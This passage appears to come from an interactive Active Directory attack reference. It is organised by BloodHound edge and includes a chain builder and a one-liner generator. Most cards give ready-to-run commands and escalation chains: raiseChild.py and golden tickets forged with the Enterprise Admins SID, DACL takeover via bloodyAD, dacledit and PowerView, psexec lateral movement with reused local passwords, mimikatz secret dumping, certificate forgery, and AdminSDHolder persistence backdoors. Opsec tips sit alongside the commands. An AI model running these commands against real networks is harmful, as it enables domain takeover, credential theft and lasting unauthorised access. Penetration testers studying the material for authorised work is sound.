LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

AbuseTGTDelegation → cross-forest TGT → DCSync parent domain

Common chains:

  • Cross-forest TGT → Enterprise Admin access
🔧 Any Object CrossForestTrust LOW ⏱️ N/A 🔊 Low

CrossForestTrust - Inter-Forest Information

Informational edge. Abuse via AbuseTGTDelegation, SpoofSIDHistory, or CoerceToTGT.

No Linux-specific commands for this edge.

No Windows-specific commands for this edge.

TIPS & OPSEC
  • Informational: BloodHound shows trust exists. Does not imply vulnerability.
  • Check: netdom trust /quarantine to verify SID filtering status.
  • Exploitation: If SID filtering disabled → SpoofSIDHistory. If TGT delegation enabled → AbuseTGTDelegation.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

CrossForestTrust → check SID filtering → SpoofSIDHistory / AbuseTGTDelegation

Common chains:

  • Verify trust properties → choose exploitation path
🔧 Any Object SameForestTrust CRITICAL ⏱️ 2 min 🔊 High

SameForestTrust - Intra-Forest Compromise

Intra-forest = shared krbtgt history. Any domain = Enterprise Admin.

🥇raiseChild.pyv0.12+
raiseChild.py '{CHILD_DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP}
🥈ticketer.py with Enterprise Admins SIDv0.12+
ticketer.py -nthash KRBTGT_HASH -domain-sid {SOURCE_SID} -domain {DOMAIN} -extra-sid S-1-5-21-...-519 golden.kirbi
🥇mimikatz lsadump::trust /patchv2.2+
lsadump::trust /patch
🥈Rubeus inter-realm + asktgsv2.0+
Rubeus.exe golden /rc4:HASH /user:Administrator /domain:{DOMAIN} /sid:{SOURCE_SID} /sids:S-1-5-21-...-519 /ticket:golden.kirbi
TIPS & OPSEC
  • Shared krbtgt: All domains in forest share krbtgt secret history.
  • Enterprise Admins SID: S-1-5-21--519 is valid across entire forest.
  • raiseChild.py: Automates full child-to-parent domain admin escalation.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

SameForestTrust → raiseChild.py / ticketer → Enterprise Admin

Common chains:

  • Child domain admin → raiseChild.py → parent domain Enterprise Admin
🔧 Any Object SyncedToADUser HIGH ⏱️ N/A 🔊 Low

SyncedToADUser / SyncedToEntraUser - Hybrid Identity

Hybrid identity sync. Compromise synced account = both on-prem and cloud access.

🥇AzureHound (shows sync)latest
azurehound -u '{USERNAME}@{DOMAIN}' -p '{PASSWORD}' -t {TENANT_ID} list
🥈ROADtoolslatest
roadrecon plugin policies
🥇AzureAD PowerShelllatest
Get-AzureADUser -ObjectId {USERNAME}@{DOMAIN} | Select-Object OnPremisesSecurityIdentifier
TIPS & OPSEC
  • Password hash sync: Same password hash works both on-prem (NTLM) and cloud (NTLM via PHS).
  • Pass-through auth: If PTA, compromise AD DS account = cloud account compromise.
  • Detection: Monitor for suspicious sign-ins from synced accounts in both environments.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

Synced account compromise → both on-prem and cloud access

Common chains:

  • On-prem credential dump → same creds work in Azure → cloud escalation
🔧 Any Object Owns CRITICAL ⏱️ 2 min 🔊 High

Owns / OwnsLimitedRights - Ownership Abuse

Owner can modify DACL. OwnsLimitedRights means AdminSDHolder or OWNER RIGHTS deny is present.

🥇bloodyAD add genericAllv2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add genericAll {TARGET} {USERNAME}
🥈dacledit.pyv0.12+
dacledit.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -principal {USERNAME} -target {TARGET} -action write -rights GenericAll -dc-ip {DC_IP}
🥇PowerView Add-DomainObjectAclPowerSploit
Add-DomainObjectAcl -TargetIdentity {TARGET} -PrincipalIdentity {USERNAME} -Rights GenericAll -Credential $cred
TIPS & OPSEC
  • Ownership = control: As owner, you can modify DACL even without explicit WriteDacl.
  • OwnsLimitedRights: AdminSDHolder or explicit OWNER RIGHTS deny blocks full owner privileges.
  • Chain: Owns → WriteDacl → GenericAll → Exploit.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

Owns → modify DACL → GenericAll → exploitation

Common chains:

  • Owner → GenericAll → DCSync / ForceChangePassword
🔧 Any Object MemberOfLocalGroup LOW ⏱️ 1 min 🔊 Low

MemberOfLocalGroup - Local Group Recon

User is member of a local group on target computer. Enumerate for privilege escalation paths.

🥇nxc smb --local-groupsv1.0+
nxc smb {TARGET_COMPUTER} -u {USERNAME} -p '{PASSWORD}' --local-groups
🥈rpcclient enumalsgroupsSamba
rpcclient -U '{DOMAIN}/{USERNAME}%{PASSWORD}' {TARGET_COMPUTER} -c 'enumalsgroups 0'
🥇net localgroupBuilt-in
net localgroup administrators
🥈Get-LocalGroupMemberBuilt-in
Get-LocalGroupMember -Group 'Administrators'
TIPS & OPSEC
  • Local Admin: Member of Administrators = full local control.
  • Remote Management Users: Member of this group = WinRM access without admin.
  • RDP Users: Member of Remote Desktop Users = RDP access.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

MemberOfLocalGroup → local privileges → credential dump / lateral movement

Common chains:

  • Local Admin → mimikatz → domain creds → escalation
🔧 Any Object LocalToComputer CRITICAL ⏱️ 2 min 🔊 High

LocalToComputer - Local Account Lateral Movement

Local account lateral movement if password is reusable across systems.

🥇nxc smbv1.0+
nxc smb {TARGET_COMPUTER} -u localadmin -p '{PASSWORD}'
🥈psexec.pyv0.12+
psexec.py 'localadmin:{PASSWORD}'@{TARGET_COMPUTER}
🥇Enter-PSSessionBuilt-in
Enter-PSSession -ComputerName {TARGET_COMPUTER} -Credential (New-Object PSCredential('localadmin', (ConvertTo-SecureString '{PASSWORD}' -AsPlainText -Force)))
TIPS & OPSEC
  • Password reuse: Local accounts often share passwords across systems in same image/deployment.
  • LSA secrets: May reveal local account passwords. Use mimikatz lsadump::secrets.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

Local account reuse → lateral movement → domain compromise

Common chains:

  • Same local admin password → psexec to all systems → mass compromise
🔧 Any Object ExtendedByPolicy LOW ⏱️ N/A 🔊 Low

ExtendedByPolicy - ESC3 Composition

Supporting edge for ESC3 composition. Template is extended by enrollment agent policy.

No Linux-specific commands for this edge.

No Windows-specific commands for this edge.

TIPS & OPSEC
  • Supporting edge: BloodHound uses this for path composition to ESC3.
  • Exploitation: See ADCSESC3 for full attack chain.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

ExtendedByPolicy → ESC3 → enrollment agent → on-behalf-of cert → admin

Common chains:

  • See ADCSESC3 for full exploitation details
🔧 Any Object HostsCAService CRITICAL ⏱️ 2 min 🔊 High

HostsCAService - CA Server Target

CA server hosting. Target for GoldenCert and ESC12 exploitation.

No Linux-specific commands for this edge.

No Windows-specific commands for this edge.

TIPS & OPSEC
  • Target: Compromise CA server → extract private key → GoldenCert.
  • Path: AdminTo CA server → mimikatz → backupkeys → ForgeCert.
COMMON ERRORS & FIXES
CERTSRV_E_INVALID_ATTESTATION / 0x80094010
Cause: Template requires attestation or proof of possession
Fix: Use -web or -machine flags with certipy-ad. Verify template enrollment rights.
KDC_ERR_CLIENT_NOT_TRUSTED / KDC_ERR_PADATA_TYPE_NOSUPP
Cause: Certificate authentication failed or PKINIT not supported
Fix: Verify CA trust chain. Check if NTLM fallback works: certipy-ad auth -pfx cert.pfx -dc-ip {DC_IP}
ERROR_DS_NO_SUCH_OBJECT
Cause: CA not found or wrong CA name format
Fix: List CAs: certipy-ad find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -dc-ip {DC_IP}. Use exact CA name.
CHAIN THIS ATTACK

HostsCAService → CA compromise → GoldenCert → indefinite access

Common chains:

  • AdminTo CA → lsadump::backupkeys → ForgeCert → persistent domain admin
🔧 Any Object PKI LOW ⏱️ N/A 🔊 Low

PKI Chain Edges

Supporting PKI chain edges. Used for certificate trust path analysis.

No Linux-specific commands for this edge.

No Windows-specific commands for this edge.

TIPS & OPSEC
  • EnterpriseCAFor: Enterprise CA issues certificates for domain.
  • RootCAFor: Root CA trusts Enterprise CA.
  • IssuedSignedBy: Certificate issued and signed by specific CA.
  • NTAuthStoreFor: CA trusted for NT authentication.
  • TrustedForNTAuth: CA is in NTAuth store.
COMMON ERRORS & FIXES
CERTSRV_E_INVALID_ATTESTATION / 0x80094010
Cause: Template requires attestation or proof of possession
Fix: Use -web or -machine flags with certipy-ad. Verify template enrollment rights.
KDC_ERR_CLIENT_NOT_TRUSTED / KDC_ERR_PADATA_TYPE_NOSUPP
Cause: Certificate authentication failed or PKINIT not supported
Fix: Verify CA trust chain. Check if NTLM fallback works: certipy-ad auth -pfx cert.pfx -dc-ip {DC_IP}
ERROR_DS_NO_SUCH_OBJECT
Cause: CA not found or wrong CA name format
Fix: List CAs: certipy-ad find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -dc-ip {DC_IP}. Use exact CA name.
CHAIN THIS ATTACK

PKI chain analysis → identify rogue CA → certificate forgery

Common chains:

  • Untrusted CA in chain → remove from NTAuthStore or revoke
🔧 Any Object ProtectAdminGroups CRITICAL ⏱️ 2 min 🔊 High

ProtectAdminGroups - AdminSDHolder

SDProp reverts ACL changes every 60 min on protected groups. Persistence requires AdminSDHolder modification.

🥇bloodyAD get acl (check protected)v2.0+
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl 'CN=AdminSDHolder,CN=System,{DOMAIN_DN}'
🥇PowerView Get-DomainObjectAclPowerSploit
Get-DomainObjectAcl -Identity 'CN=AdminSDHolder,CN=System,{DOMAIN_DN}' -ResolveGUIDs -Credential $cred
TIPS & OPSEC
  • Protected groups: Domain Admins, Enterprise Admins, Administrators, Account Operators, Backup Operators, Print Operators, Server Operators, Schema Admins.
  • SDProp interval: Default 60 minutes. Changes to protected objects are reverted.
  • Persistence: Modify AdminSDHolder itself (very dangerous) or use indirect OU paths.
  • Detection: AdminSDHolder modifications are heavily logged. High visibility.
COMMON ERRORS & FIXES
LDAP_INSUFFICIENT_ACCESS / rpc_s_access_denied
Cause: Right not actually held (inheritance blocked, filtered, or BloodHound false positive)
Fix: Verify with: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET}
ERROR_DS_UNWILLING_TO_PERFORM
Cause: Schema violation, protected operation, or password policy violation
Fix: Check password complexity (15+ chars). Verify target is not in AdminSDHolder protected group.
KDC_ERR_C_PRINCIPAL_UNKNOWN
Cause: Target object does not exist or wrong naming format
Fix: Verify exact samAccountName. Use nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep target
CHAIN THIS ATTACK

AdminSDHolder → modify directly → persistent backdoor on all protected groups

Common chains:

  • Modify AdminSDHolder → GenericAll propagates to all protected groups every 60 min

🔗 Chain Builder

Compose multi-step attack chains with validation and export.

Click "Add to Chain" on any attack card to build a multi-step chain.

⚡ One-Liner Generator

Quickly generate common attack combinations.

Select attack type and platform to generate one-liner...

❌ Error Database

Common errors and their fixes, searchable by error code or symptom.

🧰 Complete Tool Index

All 90+ tools with descriptions, install commands, and platform info.